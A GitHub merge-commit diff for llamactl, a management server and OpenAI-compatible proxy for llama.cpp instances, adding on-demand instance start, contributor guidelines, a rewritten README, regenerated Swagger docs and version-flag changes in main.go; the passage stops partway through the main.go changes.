Merge pull request #23 from lordmathis/feat/start-on-request

feat: On-Demand Instance Start

.github/workflows/release.yaml

@@ -29,6 +29,8 @@ jobs:
           npm ci
 
       - name: Build Web UI
+        env:
+          VITE_APP_VERSION: ${{ github.ref_name }}
         run: |
           cd webui
           npm run build

CNAME

@@ -0,0 +1 @@
+llamactl.org

CONTRIBUTING.md

@@ -0,0 +1,138 @@
+# Contributing to Llamactl
+
+Thank you for considering contributing to Llamactl! This document outlines the development setup and contribution process.
+
+## Development Setup
+
+### Prerequisites
+
+- Go 1.24 or later
+- Node.js 22 or later
+- `llama-server` executable (from [llama.cpp](https://github.com/ggml-org/llama.cpp))
+
+### Getting Started
+
+1. **Clone the repository**
+   ```bash
+   git clone https://github.com/lordmathis/llamactl.git
+   cd llamactl
+   ```
+
+2. **Install dependencies**
+   ```bash
+   # Go dependencies
+   go mod download
+   
+   # Frontend dependencies
+   cd webui && npm ci && cd ..
+   ```
+
+3. **Run for development**
+   ```bash
+   # Start backend server
+   go run ./cmd/server
+   ```
+   Server will be available at `http://localhost:8080`
+   
+   ```bash
+   # In a separate terminal, start frontend dev server
+   cd webui && npm run dev
+   ```
+   Development UI will be available at `http://localhost:5173`
+
+4. **Common development commands**
+   ```bash
+   # Backend
+   go test ./... -v                    # Run tests
+   go test -race ./... -v              # Run with race detector
+   go fmt ./... && go vet ./...        # Format and vet code
+   
+   # Frontend (run from webui/ directory)
+   npm run test:run                    # Run tests once
+   npm run test                        # Run tests in watch mode
+   npm run type-check                  # TypeScript type checking
+   npm run lint:fix                    # Lint and fix issues
+   ```
+
+## Before Submitting a Pull Request
+
+### Required Checks
+
+All the following must pass:
+
+1. **Backend**
+   ```bash
+   go test ./... -v
+   go test -race ./... -v
+   go fmt ./... && go vet ./...
+   go build -o llamactl ./cmd/server
+   ```
+
+2. **Frontend**
+   ```bash
+   cd webui
+   npm run test:run
+   npm run type-check
+   npm run build
+   ```
+
+### API Documentation
+
+If changes affect API endpoints, update Swagger documentation:
+
+```bash
+# Install swag if needed
+go install github.com/swaggo/swag/cmd/swag@latest
+
+# Update Swagger comments in pkg/server/handlers.go
+# Then regenerate docs
+swag init -g cmd/server/main.go -o apidocs
+```
+
+## Pull Request Guidelines
+
+### Pull Request Titles
+Use this format for pull request titles:
+- `feat:` for new features
+- `fix:` for bug fixes  
+- `docs:` for documentation changes
+- `test:` for test additions or modifications
+- `refactor:` for code refactoring
+
+### Submission Process
+1. Create a feature branch from `main`
+2. Make changes following the coding standards
+3. Run all required checks listed above
+4. Update documentation if necessary
+5. Submit pull request with:
+   - Clear description of changes
+   - Reference to any related issues
+   - Screenshots for UI changes
+
+## Code Style and Testing
+
+### Testing Strategy
+- Backend tests use Go's built-in testing framework
+- Frontend tests use Vitest and React Testing Library
+- Run tests frequently during development
+- Add tests for new features and bug fixes
+
+### Go
+- Follow standard Go formatting (`go fmt`)
+- Use meaningful variable and function names  
+- Add comments for exported functions and types
+- Handle errors appropriately
+
+### TypeScript/React
+- Use TypeScript strictly (avoid `any` when possible)
+- Follow React hooks best practices
+- Use meaningful component and variable names
+- Prefer functional components over class components
+
+## Getting Help
+
+- Check existing [issues](https://github.com/lordmathis/llamactl/issues)
+- Review the [README.md](README.md) for usage documentation  
+- Look at existing code for patterns and conventions
+
+Thank you for contributing to Llamactl!

README.md

@@ -2,93 +2,159 @@
 
 ![Build and Release](https://github.com/lordmathis/llamactl/actions/workflows/release.yaml/badge.svg) ![Go Tests](https://github.com/lordmathis/llamactl/actions/workflows/go_test.yaml/badge.svg) ![WebUI Tests](https://github.com/lordmathis/llamactl/actions/workflows/webui_test.yaml/badge.svg)
 
-A control server for managing multiple Llama Server instances with a web-based dashboard.
+**Management server and proxy for multiple llama.cpp instances with OpenAI-compatible API routing.**
 
-## Features
+## Why llamactl?
 
-- **Multi-instance Management**: Create, start, stop, restart, and delete multiple llama-server instances
-- **Web Dashboard**: Modern React-based UI for managing instances
-- **Auto-restart**: Configurable automatic restart on instance failure
-- **Instance Monitoring**: Real-time health checks and status monitoring
-- **Log Management**: View, search, and download instance logs
-- **REST API**: Full API for programmatic control
-- **OpenAI Compatible**: Route requests to instances by instance name
-- **Configuration Management**: Comprehensive llama-server parameter support
-- **System Information**: View llama-server version, devices, and help
+🚀 **Multiple Model Serving**: Run different models simultaneously (7B for speed, 70B for quality)  
+🔗 **OpenAI API Compatible**: Drop-in replacement - route requests by model name  
+🌐 **Web Dashboard**: Modern React UI for visual management (unlike CLI-only tools)  
+🔐 **API Key Authentication**: Separate keys for management vs inference access  
+📊 **Instance Monitoring**: Health checks, auto-restart, log management  
+⏳ **Idle Timeout Management**: Automatically stop idle instances after a configurable period  
+💡 **On-Demand Instance Start**: Automatically launch instances upon receiving OpenAI-compatible API requests  
+💾 **State Persistence**: Ensure instances remain intact across server restarts  
 
-## Prerequisites
+![Dashboard Screenshot](docs/images/screenshot.png)
 
-This project requires `llama-server` from llama.cpp to be installed and available in your PATH.
+**Choose llamactl if**: You need authentication, health monitoring, auto-restart, and centralized management of multiple llama-server instances  
+**Choose Ollama if**: You want the simplest setup with strong community ecosystem and third-party integrations  
+**Choose LM Studio if**: You prefer a polished desktop GUI experience with easy model management
 
-**Install llama.cpp:**
-Follow the installation instructions at https://github.com/ggml-org/llama.cpp
+## Quick Start
+
+```bash
+# 1. Install llama-server (one-time setup)
+# See: https://github.com/ggml-org/llama.cpp#quick-start
+
+# 2. Download and run llamactl
+LATEST_VERSION=$(curl -s https://api.github.com/repos/lordmathis/llamactl/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
+curl -L https://github.com/lordmathis/llamactl/releases/download/${LATEST_VERSION}/llamactl-${LATEST_VERSION}-linux-amd64.tar.gz | tar -xz
+sudo mv llamactl /usr/local/bin/
+
+# 3. Start the server
+llamactl
+# Access dashboard at http://localhost:8080
+```
+
+## Usage
+
+### Create and manage instances via web dashboard:
+1. Open http://localhost:8080
+2. Click "Create Instance"
+3. Set model path and GPU layers
+4. Start or stop the instance
+
+### Or use the REST API:
+```bash
+# Create instance
+curl -X POST localhost:8080/api/v1/instances/my-7b-model \
+  -H "Authorization: Bearer your-key" \
+  -d '{"model": "/path/to/model.gguf", "gpu_layers": 32}'
+
+# Use with OpenAI SDK
+curl -X POST localhost:8080/v1/chat/completions \
+  -H "Authorization: Bearer your-key" \
+  -d '{"model": "my-7b-model", "messages": [{"role": "user", "content": "Hello!"}]}'
+```
 
 ## Installation
 
-### Build Requirements
-
-- Go 1.24 or later
-- Node.js 22 or later (for building the web UI)
-
-### Building with Web UI
+### Option 1: Download Binary (Recommended)
 
 ```bash
-# Clone the repository
+# Linux/macOS - Get latest version and download
+LATEST_VERSION=$(curl -s https://api.github.com/repos/lordmathis/llamactl/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
+curl -L https://github.com/lordmathis/llamactl/releases/download/${LATEST_VERSION}/llamactl-${LATEST_VERSION}-$(uname -s | tr '[:upper:]' '[:lower:]')-$(uname -m).tar.gz | tar -xz
+sudo mv llamactl /usr/local/bin/
+
+# Or download manually from the releases page:
+# https://github.com/lordmathis/llamactl/releases/latest
+
+# Windows - Download from releases page
+```
+
+### Option 2: Build from Source
+Requires Go 1.24+ and Node.js 22+
+```bash
 git clone https://github.com/lordmathis/llamactl.git
 cd llamactl
-
-# Install Node.js dependencies
-cd webui
-npm ci
-
-# Build the web UI
-npm run build
-
-# Return to project root and build
-cd ..
+cd webui && npm ci && npm run build && cd ..
 go build -o llamactl ./cmd/server
+```
 
-# Run the server
-./llamactl
+## Prerequisites
+
+You need `llama-server` from [llama.cpp](https://github.com/ggml-org/llama.cpp) installed:
+
+```bash
+# Quick install methods:
+# Homebrew (macOS)
+brew install llama.cpp
+
+# Or build from source - see llama.cpp docs
 ```
 
 ## Configuration
 
+llamactl works out of the box with sensible defaults.
+
+```yaml
+server:
+  host: "0.0.0.0"                # Server host to bind to
+  port: 8080                     # Server port to bind to
+  allowed_origins: ["*"]         # Allowed CORS origins (default: all)
+  enable_swagger: false          # Enable Swagger UI for API docs
+
+instances:
+  port_range: [8000, 9000]       # Port range for instances
+  data_dir: ~/.local/share/llamactl         # Data directory (platform-specific, see below)
+  configs_dir: ~/.local/share/llamactl/instances  # Instance configs directory
+  logs_dir: ~/.local/share/llamactl/logs    # Logs directory
+  auto_create_dirs: true         # Auto-create data/config/logs dirs if missing
+  max_instances: -1              # Max instances (-1 = unlimited)
+  llama_executable: llama-server # Path to llama-server executable
+  default_auto_restart: true     # Auto-restart new instances by default
+  default_max_restarts: 3        # Max restarts for new instances
+  default_restart_delay: 5       # Restart delay (seconds) for new instances
+  default_on_demand_start: true  # Default on-demand start setting
+  on_demand_start_timeout: 120   # Default on-demand start timeout in seconds
+  timeout_check_interval: 5      # Idle instance timeout check in minutes
+
+
+auth:
+  require_inference_auth: true   # Require auth for inference endpoints
+  inference_keys: []             # Keys for inference endpoints
+  require_management_auth: true  # Require auth for management endpoints
+  management_keys: []            # Keys for management endpoints
+```
+
+<details><summary><strong>Full Configuration Guide</strong></summary>
 
 llamactl can be configured via configuration files or environment variables. Configuration is loaded in the following order of precedence:  
 
-1. Hardcoded defaults
-2. Configuration file
-3. Environment variables
-
+```
+Defaults < Configuration file < Environment variables
+```
 
 ### Configuration Files
 
-Configuration files are searched in the following locations:
+#### Configuration File Locations
+
+Configuration files are searched in the following locations (in order of precedence):
 
 **Linux/macOS:**
 - `./llamactl.yaml` or `./config.yaml` (current directory)
-- `~/.config/llamactl/config.yaml`
+- `$HOME/.config/llamactl/config.yaml`
 - `/etc/llamactl/config.yaml`
 
 **Windows:**
 - `./llamactl.yaml` or `./config.yaml` (current directory)
 - `%APPDATA%\llamactl\config.yaml`
+- `%USERPROFILE%\llamactl\config.yaml`
 - `%PROGRAMDATA%\llamactl\config.yaml`
 
-You can specify the path to config file with `LLAMACTL_CONFIG_PATH` environment variable
-
-## API Key Authentication
-
-llamactl now supports API Key authentication for both management and inference (OpenAI-compatible) endpoints. The are separate keys for management and inference APIs. Management keys grant full access; inference keys grant access to OpenAI-compatible endpoints
-
-**How to Use:**
-- Pass your API key in requests using one of:
-  - `Authorization: Bearer <key>` header
-  - `X-API-Key: <key>` header
-  - `api_key=<key>` query parameter
-
-**Auto-generated keys**: If no keys are set and authentication is required, a key will be generated and printed to the terminal at startup. For production, set your own keys in config or environment variables.
+You can specify the path to config file with `LLAMACTL_CONFIG_PATH` environment variable.
 
 ### Configuration Options
 
@@ -112,25 +178,38 @@ server:
 
 ```yaml
 instances:
-  port_range: [8000, 9000]           # Port range for instances
-  log_directory: "/tmp/llamactl"     # Directory for instance logs
-  max_instances: -1                  # Maximum instances (-1 = unlimited)
-  llama_executable: "llama-server"   # Path to llama-server executable
-  default_auto_restart: true         # Default auto-restart setting
-  default_max_restarts: 3            # Default maximum restart attempts
-  default_restart_delay: 5           # Default restart delay in seconds
+  port_range: [8000, 9000]                          # Port range for instances (default: [8000, 9000])
+  data_dir: "~/.local/share/llamactl"               # Directory for all llamactl data (default varies by OS)
+  configs_dir: "~/.local/share/llamactl/instances"  # Directory for instance configs (default: data_dir/instances)
+  logs_dir: "~/.local/share/llamactl/logs"          # Directory for instance logs (default: data_dir/logs)
+  auto_create_dirs: true                            # Automatically create data/config/logs directories (default: true)
+  max_instances: -1                                 # Maximum instances (-1 = unlimited)
+  llama_executable: "llama-server"                  # Path to llama-server executable
+  default_auto_restart: true                        # Default auto-restart setting
+  default_max_restarts: 3                           # Default maximum restart attempts
+  default_restart_delay: 5                          # Default restart delay in seconds
+  default_on_demand_start: true                     # Default on-demand start setting
+  on_demand_start_timeout: 120                      # Default on-demand start timeout in seconds
+  timeout_check_interval: 5                         # Default instance timeout check interval in minutes
 ```
 
 **Environment Variables:**
 - `LLAMACTL_INSTANCE_PORT_RANGE` - Port range (format: "8000-9000" or "8000,9000")
-- `LLAMACTL_LOG_DIR` - Log directory path
+- `LLAMACTL_DATA_DIRECTORY` - Data directory path
+- `LLAMACTL_INSTANCES_DIR` - Instance configs directory path
+- `LLAMACTL_LOGS_DIR` - Log directory path
+- `LLAMACTL_AUTO_CREATE_DATA_DIR` - Auto-create data/config/logs directories (true/false)
 - `LLAMACTL_MAX_INSTANCES` - Maximum number of instances
 - `LLAMACTL_LLAMA_EXECUTABLE` - Path to llama-server executable
 - `LLAMACTL_DEFAULT_AUTO_RESTART` - Default auto-restart setting (true/false)
 - `LLAMACTL_DEFAULT_MAX_RESTARTS` - Default maximum restarts
 - `LLAMACTL_DEFAULT_RESTART_DELAY` - Default restart delay in seconds
+- `LLAMACTL_DEFAULT_ON_DEMAND_START` - Default on-demand start setting (true/false)
+- `LLAMACTL_ON_DEMAND_START_TIMEOUT` - Default on-demand start timeout in seconds
+- `LLAMACTL_TIMEOUT_CHECK_INTERVAL` - Default instance timeout check interval in minutes
 
-#### Auth Configuration
+
+#### Authentication Configuration
 
 ```yaml
 auth:
@@ -146,121 +225,8 @@ auth:
 - `LLAMACTL_REQUIRE_MANAGEMENT_AUTH` - Require auth for management endpoints (true/false)
 - `LLAMACTL_MANAGEMENT_KEYS` - Comma-separated management API keys
 
-### Example Configuration
-
-```yaml
-server:
-  host: "0.0.0.0"
-  port: 8080
-
-instances:
-  port_range: [8001, 8100]
-  log_directory: "/var/log/llamactl"
-  max_instances: 10
-  llama_executable: "/usr/local/bin/llama-server"
-  default_auto_restart: true
-  default_max_restarts: 5
-  default_restart_delay: 10
- 
-auth:
-  require_inference_auth: true
-  inference_keys: ["sk-inference-abc123"]
-  require_management_auth: true
-  management_keys: ["sk-management-xyz456"]
-```
-
-## Usage
-
-### Starting the Server
-
-```bash
-# Start with default configuration
-./llamactl
-
-# Start with custom config file
-LLAMACTL_CONFIG_PATH=/path/to/config.yaml ./llamactl
-
-# Start with environment variables
-LLAMACTL_PORT=9090 LLAMACTL_LOG_DIR=/custom/logs ./llamactl
-```
-
-### Web Dashboard
-
-Open your browser and navigate to `http://localhost:8080` to access the web dashboard.
-
-### API Usage
-
-The REST API is available at `http://localhost:8080/api/v1`. See the Swagger documentation at `http://localhost:8080/swagger/` for complete API reference.
-
-#### Create an Instance
-
-```bash
-curl -X POST http://localhost:8080/api/v1/instances/my-instance \
-  -H "Content-Type: application/json" \
-  -d '{
-    "model": "/path/to/model.gguf",
-    "gpu_layers": 32,
-    "auto_restart": true
-  }'
-```
-
-#### List Instances
-
-```bash
-curl http://localhost:8080/api/v1/instances
-```
-
-#### Start/Stop Instance
-
-```bash
-# Start
-curl -X POST http://localhost:8080/api/v1/instances/my-instance/start
-
-# Stop
-curl -X POST http://localhost:8080/api/v1/instances/my-instance/stop
-```
-
-### OpenAI Compatible Endpoints
-
-Route requests to instances by including the instance name as the model parameter:
-
-```bash
-curl -X POST http://localhost:8080/v1/chat/completions \
-  -H "Content-Type: application/json" \
-  -d '{
-    "model": "my-instance",
-    "messages": [{"role": "user", "content": "Hello!"}]
-  }'
-```
-
-## Development
-
-### Running Tests
-
-```bash
-# Go tests
-go test ./...
-
-# Web UI tests
-cd webui
-npm test
-```
-
-### Development Server
-
-```bash
-# Start Go server in development mode
-go run ./cmd/server
-
-# Start web UI development server (in another terminal)
-cd webui
-npm run dev
-```
-
-## API Documentation
-
-Interactive API documentation is available at `http://localhost:8080/swagger/` when the server is running.
+</details>
 
 ## License
 
-This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
+MIT License - see [LICENSE](LICENSE) file.

apidocs/docs.go

@@ -1,5 +1,5 @@
-// Package docs Code generated by swaggo/swag. DO NOT EDIT
-package docs
+// Package apidocs Code generated by swaggo/swag. DO NOT EDIT
+package apidocs
 
 import "github.com/swaggo/swag"
 
@@ -37,7 +37,7 @@ const docTemplate = `{
                         "schema": {
                             "type": "array",
                             "items": {
-                                "$ref": "#/definitions/llamactl.Instance"
+                                "$ref": "#/definitions/instance.Process"
                             }
                         }
                     },
@@ -75,7 +75,7 @@ const docTemplate = `{
                     "200": {
                         "description": "Instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -120,7 +120,7 @@ const docTemplate = `{
                         "in": "body",
                         "required": true,
                         "schema": {
-                            "$ref": "#/definitions/llamactl.CreateInstanceOptions"
+                            "$ref": "#/definitions/instance.CreateInstanceOptions"
                         }
                     }
                 ],
@@ -128,7 +128,7 @@ const docTemplate = `{
                     "200": {
                         "description": "Updated instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -173,7 +173,7 @@ const docTemplate = `{
                         "in": "body",
                         "required": true,
                         "schema": {
-                            "$ref": "#/definitions/llamactl.CreateInstanceOptions"
+                            "$ref": "#/definitions/instance.CreateInstanceOptions"
                         }
                     }
                 ],
@@ -181,7 +181,7 @@ const docTemplate = `{
                     "201": {
                         "description": "Created instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -401,7 +401,7 @@ const docTemplate = `{
                     "200": {
                         "description": "Restarted instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -444,7 +444,7 @@ const docTemplate = `{
                     "200": {
                         "description": "Started instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -487,7 +487,7 @@ const docTemplate = `{
                     "200": {
                         "description": "Stopped instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -639,7 +639,35 @@ const docTemplate = `{
                     "200": {
                         "description": "List of OpenAI-compatible instances",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.OpenAIListInstancesResponse"
+                            "$ref": "#/definitions/server.OpenAIListInstancesResponse"
+                        }
+                    },
+                    "500": {
+                        "description": "Internal Server Error",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                }
+            }
+        },
+        "/version": {
+            "get": {
+                "security": [
+                    {
+                        "ApiKeyAuth": []
+                    }
+                ],
+                "description": "Returns the version of the llamactl command",
+                "tags": [
+                    "version"
+                ],
+                "summary": "Get llamactl version",
+                "responses": {
+                    "200": {
+                        "description": "Version information",
+                        "schema": {
+                            "type": "string"
                         }
                     },
                     "500": {
@@ -653,7 +681,7 @@ const docTemplate = `{
         }
     },
     "definitions": {
-        "llamactl.CreateInstanceOptions": {
+        "instance.CreateInstanceOptions": {
             "type": "object",
             "properties": {
                 "alias": {
@@ -751,7 +779,6 @@ const docTemplate = `{
                     "type": "string"
                 },
                 "draft_max": {
-                    "description": "Speculative decoding params",
                     "type": "integer"
                 },
                 "draft_min": {
@@ -955,7 +982,7 @@ const docTemplate = `{
                     "type": "boolean"
                 },
                 "no_context_shift": {
-                    "description": "Server/Example-specific params",
+                    "description": "Example-specific params",
                     "type": "boolean"
                 },
                 "no_escape": {
@@ -1027,10 +1054,10 @@ const docTemplate = `{
                 "presence_penalty": {
                     "type": "number"
                 },
-                "priority": {
+                "prio": {
                     "type": "integer"
                 },
-                "priority_batch": {
+                "prio_batch": {
                     "type": "integer"
                 },
                 "props": {
@@ -1101,7 +1128,7 @@ const docTemplate = `{
                 "ssl_key_file": {
                     "type": "string"
                 },
-                "temperature": {
+                "temp": {
                     "type": "number"
                 },
                 "tensor_split": {
@@ -1167,7 +1194,7 @@ const docTemplate = `{
                 }
             }
         },
-        "llamactl.Instance": {
+        "instance.Process": {
             "type": "object",
             "properties": {
                 "created": {
@@ -1183,7 +1210,7 @@ const docTemplate = `{
                 }
             }
         },
-        "llamactl.OpenAIInstance": {
+        "server.OpenAIInstance": {
             "type": "object",
             "properties": {
                 "created": {
@@ -1200,13 +1227,13 @@ const docTemplate = `{
                 }
             }
         },
-        "llamactl.OpenAIListInstancesResponse": {
+        "server.OpenAIListInstancesResponse": {
             "type": "object",
             "properties": {
                 "data": {
                     "type": "array",
                     "items": {
-                        "$ref": "#/definitions/llamactl.OpenAIInstance"
+                        "$ref": "#/definitions/server.OpenAIInstance"
                     }
                 },
                 "object": {

apidocs/swagger.json

@@ -30,7 +30,7 @@
                         "schema": {
                             "type": "array",
                             "items": {
-                                "$ref": "#/definitions/llamactl.Instance"
+                                "$ref": "#/definitions/instance.Process"
                             }
                         }
                     },
@@ -68,7 +68,7 @@
                     "200": {
                         "description": "Instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -113,7 +113,7 @@
                         "in": "body",
                         "required": true,
                         "schema": {
-                            "$ref": "#/definitions/llamactl.CreateInstanceOptions"
+                            "$ref": "#/definitions/instance.CreateInstanceOptions"
                         }
                     }
                 ],
@@ -121,7 +121,7 @@
                     "200": {
                         "description": "Updated instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -166,7 +166,7 @@
                         "in": "body",
                         "required": true,
                         "schema": {
-                            "$ref": "#/definitions/llamactl.CreateInstanceOptions"
+                            "$ref": "#/definitions/instance.CreateInstanceOptions"
                         }
                     }
                 ],
@@ -174,7 +174,7 @@
                     "201": {
                         "description": "Created instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -394,7 +394,7 @@
                     "200": {
                         "description": "Restarted instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -437,7 +437,7 @@
                     "200": {
                         "description": "Started instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -480,7 +480,7 @@
                     "200": {
                         "description": "Stopped instance details",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.Instance"
+                            "$ref": "#/definitions/instance.Process"
                         }
                     },
                     "400": {
@@ -632,7 +632,35 @@
                     "200": {
                         "description": "List of OpenAI-compatible instances",
                         "schema": {
-                            "$ref": "#/definitions/llamactl.OpenAIListInstancesResponse"
+                            "$ref": "#/definitions/server.OpenAIListInstancesResponse"
+                        }
+                    },
+                    "500": {
+                        "description": "Internal Server Error",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                }
+            }
+        },
+        "/version": {
+            "get": {
+                "security": [
+                    {
+                        "ApiKeyAuth": []
+                    }
+                ],
+                "description": "Returns the version of the llamactl command",
+                "tags": [
+                    "version"
+                ],
+                "summary": "Get llamactl version",
+                "responses": {
+                    "200": {
+                        "description": "Version information",
+                        "schema": {
+                            "type": "string"
                         }
                     },
                     "500": {
@@ -646,7 +674,7 @@
         }
     },
     "definitions": {
-        "llamactl.CreateInstanceOptions": {
+        "instance.CreateInstanceOptions": {
             "type": "object",
             "properties": {
                 "alias": {
@@ -744,7 +772,6 @@
                     "type": "string"
                 },
                 "draft_max": {
-                    "description": "Speculative decoding params",
                     "type": "integer"
                 },
                 "draft_min": {
@@ -948,7 +975,7 @@
                     "type": "boolean"
                 },
                 "no_context_shift": {
-                    "description": "Server/Example-specific params",
+                    "description": "Example-specific params",
                     "type": "boolean"
                 },
                 "no_escape": {
@@ -1020,10 +1047,10 @@
                 "presence_penalty": {
                     "type": "number"
                 },
-                "priority": {
+                "prio": {
                     "type": "integer"
                 },
-                "priority_batch": {
+                "prio_batch": {
                     "type": "integer"
                 },
                 "props": {
@@ -1094,7 +1121,7 @@
                 "ssl_key_file": {
                     "type": "string"
                 },
-                "temperature": {
+                "temp": {
                     "type": "number"
                 },
                 "tensor_split": {
@@ -1160,7 +1187,7 @@
                 }
             }
         },
-        "llamactl.Instance": {
+        "instance.Process": {
             "type": "object",
             "properties": {
                 "created": {
@@ -1176,7 +1203,7 @@
                 }
             }
         },
-        "llamactl.OpenAIInstance": {
+        "server.OpenAIInstance": {
             "type": "object",
             "properties": {
                 "created": {
@@ -1193,13 +1220,13 @@
                 }
             }
         },
-        "llamactl.OpenAIListInstancesResponse": {
+        "server.OpenAIListInstancesResponse": {
             "type": "object",
             "properties": {
                 "data": {
                     "type": "array",
                     "items": {
-                        "$ref": "#/definitions/llamactl.OpenAIInstance"
+                        "$ref": "#/definitions/server.OpenAIInstance"
                     }
                 },
                 "object": {

apidocs/swagger.yaml

@@ -1,6 +1,6 @@
 basePath: /api/v1
 definitions:
-  llamactl.CreateInstanceOptions:
+  instance.CreateInstanceOptions:
     properties:
       alias:
         type: string
@@ -66,7 +66,6 @@ definitions:
       device_draft:
         type: string
       draft_max:
-        description: Speculative decoding params
         type: integer
       draft_min:
         type: integer
@@ -203,7 +202,7 @@ definitions:
       no_cont_batching:
         type: boolean
       no_context_shift:
-        description: Server/Example-specific params
+        description: Example-specific params
         type: boolean
       no_escape:
         type: boolean
@@ -251,9 +250,9 @@ definitions:
         type: integer
       presence_penalty:
         type: number
-      priority:
+      prio:
         type: integer
-      priority_batch:
+      prio_batch:
         type: integer
       props:
         type: boolean
@@ -301,7 +300,7 @@ definitions:
         type: string
       ssl_key_file:
         type: string
-      temperature:
+      temp:
         type: number
       tensor_split:
         type: string
@@ -345,7 +344,7 @@ definitions:
       yarn_orig_ctx:
         type: integer
     type: object
-  llamactl.Instance:
+  instance.Process:
     properties:
       created:
         description: Creation time
@@ -356,7 +355,7 @@ definitions:
         description: Status
         type: boolean
     type: object
-  llamactl.OpenAIInstance:
+  server.OpenAIInstance:
     properties:
       created:
         type: integer
@@ -367,11 +366,11 @@ definitions:
       owned_by:
         type: string
     type: object
-  llamactl.OpenAIListInstancesResponse:
+  server.OpenAIListInstancesResponse:
     properties:
       data:
         items:
-          $ref: '#/definitions/llamactl.OpenAIInstance'
+          $ref: '#/definitions/server.OpenAIInstance'
         type: array
       object:
         type: string
@@ -393,7 +392,7 @@ paths:
           description: List of instances
           schema:
             items:
-              $ref: '#/definitions/llamactl.Instance'
+              $ref: '#/definitions/instance.Process'
             type: array
         "500":
           description: Internal Server Error
@@ -441,7 +440,7 @@ paths:
         "200":
           description: Instance details
           schema:
-            $ref: '#/definitions/llamactl.Instance'
+            $ref: '#/definitions/instance.Process'
         "400":
           description: Invalid name format
           schema:
@@ -470,12 +469,12 @@ paths:
         name: options
         required: true
         schema:
-          $ref: '#/definitions/llamactl.CreateInstanceOptions'
+          $ref: '#/definitions/instance.CreateInstanceOptions'
       responses:
         "201":
           description: Created instance details
           schema:
-            $ref: '#/definitions/llamactl.Instance'
+            $ref: '#/definitions/instance.Process'
         "400":
           description: Invalid request body
           schema:
@@ -504,12 +503,12 @@ paths:
         name: options
         required: true
         schema:
-          $ref: '#/definitions/llamactl.CreateInstanceOptions'
+          $ref: '#/definitions/instance.CreateInstanceOptions'
       responses:
         "200":
           description: Updated instance details
           schema:
-            $ref: '#/definitions/llamactl.Instance'
+            $ref: '#/definitions/instance.Process'
         "400":
           description: Invalid name format
           schema:
@@ -627,7 +626,7 @@ paths:
         "200":
           description: Restarted instance details
           schema:
-            $ref: '#/definitions/llamactl.Instance'
+            $ref: '#/definitions/instance.Process'
         "400":
           description: Invalid name format
           schema:
@@ -654,7 +653,7 @@ paths:
         "200":
           description: Started instance details
           schema:
-            $ref: '#/definitions/llamactl.Instance'
+            $ref: '#/definitions/instance.Process'
         "400":
           description: Invalid name format
           schema:
@@ -681,7 +680,7 @@ paths:
         "200":
           description: Stopped instance details
           schema:
-            $ref: '#/definitions/llamactl.Instance'
+            $ref: '#/definitions/instance.Process'
         "400":
           description: Invalid name format
           schema:
@@ -777,7 +776,7 @@ paths:
         "200":
           description: List of OpenAI-compatible instances
           schema:
-            $ref: '#/definitions/llamactl.OpenAIListInstancesResponse'
+            $ref: '#/definitions/server.OpenAIListInstancesResponse'
         "500":
           description: Internal Server Error
           schema:
@@ -787,4 +786,21 @@ paths:
       summary: List instances in OpenAI-compatible format
       tags:
       - openai
+  /version:
+    get:
+      description: Returns the version of the llamactl command
+      responses:
+        "200":
+          description: Version information
+          schema:
+            type: string
+        "500":
+          description: Internal Server Error
+          schema:
+            type: string
+      security:
+      - ApiKeyAuth: []
+      summary: Get llamactl version
+      tags:
+      - version
 swagger: "2.0"

cmd/server/main.go

@@ -2,11 +2,20 @@ package main
 
 import (
 	"fmt"
-	llamactl "llamactl/pkg"
+	"llamactl/pkg/config"
+	"llamactl/pkg/manager"
+	"llamactl/pkg/server"
 	"net/http"
 	"os"
+	"os/signal"
+	"syscall"
 )
 
+// version is set at build time using -ldflags "-X main.version=1.0.0"
+var version string = "unknown"
+var commitHash string = "unknown"
+var buildTime string = "unknown"
+
 // @title llamactl API
 // @version 1.0
 // @description llamactl is a control server for managing Llama Server instances.
@@ -15,29 +24,76 @@ import (
 // @basePath /api/v1
 func main() {
 
-	config, err := llamactl.LoadConfig("")
+	// --version flag to print the version
+	if len(os.Args) > 1 && os.Args[1] == "--version" {
+		fmt.Printf("llamactl version: %s\n", version)
+		fmt.Printf("Commit hash: %s\n", commitHash)
+		fmt.Printf("Build time: %s\n", buildTime)
+		return
+	}
+
+	configPath := os.Getenv("LLAMACTL_CONFIG_PATH")
+	cfg, err := config.LoadConfig(configPath)
 	if err != nil {
 		fmt.Printf("Error loading config: %v\n", err)
 		fmt.Println("Using default configuration.")
 	}
 
-	// Create the log directory if it doesn't exist
-	err = os.MkdirAll(config.Instances.LogDirectory, 0755)
-	if err != nil {
